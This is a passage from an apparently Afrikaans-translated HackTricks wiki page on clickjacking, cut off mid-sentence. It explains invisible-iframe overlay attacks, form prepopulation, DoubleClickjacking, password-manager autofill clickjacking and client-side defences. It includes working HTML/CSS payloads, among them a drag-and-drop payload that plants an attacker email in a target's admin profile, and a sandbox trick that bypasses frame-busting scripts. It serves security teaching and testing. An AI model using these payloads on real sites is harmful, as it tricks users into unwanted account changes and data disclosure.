Clickjacking

Reading time: 9 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Wat is Clickjacking

In 'n clickjacking-aanval word 'n gebruiker mislei om 'n element op 'n webblad te klik wat óf onsigbaar is óf as 'n ander element vermom is. Hierdie manipulasie kan lei tot onbedoelde gevolge vir die gebruiker, soos die aflaai van malware, omleiding na kwaadwillige webbladsye, die verskaffing van credentials of sensitiewe inligting, geldoorplasings, of die aanlyn aankoop van produkte.

Prepopulate forms trick

Dit is soms moontlik om die waardes van velde van 'n vorm te voorinvul met GET-parameters wanneer 'n bladsy gelaai word. 'n aanvaller kan hierdie gedrag misbruik om 'n vorm met arbitrêre data te vul en die clickjacking payload te stuur sodat die gebruiker die knoppie Submit druk.

Populate form with Drag&Drop

As jy die gebruiker nodig het om 'n vorm in te vul maar jy wil hom nie direk vra om spesifieke inligting te skryf nie (soos die e-pos en/of spesifieke wagwoord wat jy ken), kan jy hom net vra om iets te Drag&Drop wat jou beheerste data sal invoer, soos in this example.

Basiese Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Meertraps Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

css
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

As jy 'n XSS attack that requires a user to click op 'n element geïdentifiseer het om die XSS te trigger en die bladsy is vulnerable to clickjacking, kan jy dit misbruik om die gebruiker te mislei om op die knoppie/skakel te klik.
Example:
Jy het 'n self XSS gevind in sekere privaat rekeningbesonderhede (besonderhede wat slegs jy kan set and read). Die bladsy met die form om hierdie besonderhede te stel is vatbaar vir Clickjacking en jy kan die form prepopulate met die GET-parameters.
'n Aanvaller kan 'n Clickjacking attack teen daardie bladsy voorberei deur die form te prepopulate met die XSS payload en die user te tricking om die Submit die form. Dus, when the form is submitted en die waardes is gewysig, sal die user will execute the XSS.

DoubleClickjacking

Eerstens explained in this post, hierdie tegniek vra die slagoffer om twee keer (dubbelklik) op 'n knoppie van 'n pasgemaakte bladsy te klik wat op 'n spesifieke plek geplaas is, en gebruik die tydsverskille tussen die mousedown en onclick events om die slagofferbladsy tydens die dubbelklik te laai sodat die slagoffer eintlik 'n legitieme knoppie op die slagofferbladsy klik.

'n Voorbeeld is te sien in hierdie video: https://www.youtube.com/watch?v=4rGvRRMrD18

'n Code voorbeeld kan gevind word op this page.

warning

Hierdie tegniek laat toe om die gebruiker te mislei om op een plek op die slagofferbladsy te klik en sodoende alle beskerming teen clickjacking te omseil. Dus moet die aanvaller sensitiewe aksies vind wat met net 1 klik uitgevoer kan word, soos OAuth prompts accepting permissions.

Browser extensions: DOM-based autofill clickjacking

Afgesien van iframing van slagofferbladsye, kan aanvallers browser extension UI-elemente teiken wat in die bladsy ingespuit word. Password managers render autofill dropdowns naby gefokusde inputs; deur 'n attacker-controlled veld te fokus en die extension se dropdown te verberg/occlude (opacity/overlay/top-layer truuks), kan 'n gedwonge gebruikersklik 'n gestoor item kies en sensitiewe data in attacker-controlled inputs invul. Hierdie variant benodig geen iframe exposure nie en werk volledig via DOM/CSS-manipulasie.

  • For concrete techniques and PoCs see:

BrowExt - ClickJacking

Strategieë om Clickjacking te Verminder

Kliëntkant-verdeding

Skripte wat aan die kliëntkant uitgevoer word kan aksies doen om Clickjacking te voorkom:

  • Verseker dat die aansoekvenster die hoof- of boonste venster is.
  • Maak alle frames sigbaar.
  • Voorkom klikke op onsigbare frames.
  • Ontdek en waarsku gebruikers oor potensiële Clickjacking-pogings.

Echter, hierdie frame-busting skripte kan omseil word:

  • Browsers' Security Settings: Sommige browsers kan hierdie skripte blokkeer gebaseer op hul sekuriteitsinstellings of gebrek aan JavaScript support.
  • HTML5 iframe sandbox Attribute: 'n Aanvaller kan frame buster skripte neutraliseer deur die sandbox attribute te stel met allow-forms of allow-scripts waardes sonder allow-top-navigation. Dit verhoed dat die iframe kan verifieer of dit die top-venster is, bv.,
html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Die allow-forms en allow-scripts waardes stel aksies binne die